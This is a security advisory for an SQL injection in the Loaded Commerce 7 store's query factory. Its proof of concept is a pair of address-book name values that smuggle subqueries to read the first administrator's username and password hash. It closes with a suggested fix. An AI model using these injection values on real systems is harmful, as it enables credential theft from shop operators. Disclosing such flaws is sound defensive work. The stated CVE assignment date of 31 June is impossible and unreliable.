LoadedCommerce7 - Systemic Query Factory

Title:     LoadedCommerce7 Systemic Query Factory Vulnerability



Advisory:  http://breaking.technology/advisories/CVE-2014-5140.txt



Credits:   Discovered by Breaking Technology Research Labs 2014-06-30



Reference: CVE-2014-5140 - Assigned 31 June 2014



Timeline:

           Vendor notified - 29 July 2014

           Vendor confirmed exploit 30 July 2014





Severity:           Critical

Attack Complexity:  Minimal

Classification:     SQL injection, unsafe string replacement



Description:



	Loaded Commerce 7 shopping cart/online store suffers from a systemic vulnerability in its query factory, allowing attackers to circumvent user input sanitizing to perform remote SQL injection.



Proof of Concept:



	Have a valid customer account and create a new contact in your address book using the following values.





	First name: :entry_lastname,

	Last Name : ,(select user_name from lc_administrators order by id asc limit 1),(select user_password from lc_administrators order by id asc limit 1),3,4,5,6,7,8,9,10)#



	The new contact will be added to your address book with the admin hash as the contact's street address



Suggested Fix:

	Sanitize all user input before using it as any part of a query-- specifically remove or encode the colon (:) character before passing it to a query value.  A similar fix was issued for tomatocart, available at

        https://github.com/tomatocart/TomatoCart-v1/pull/238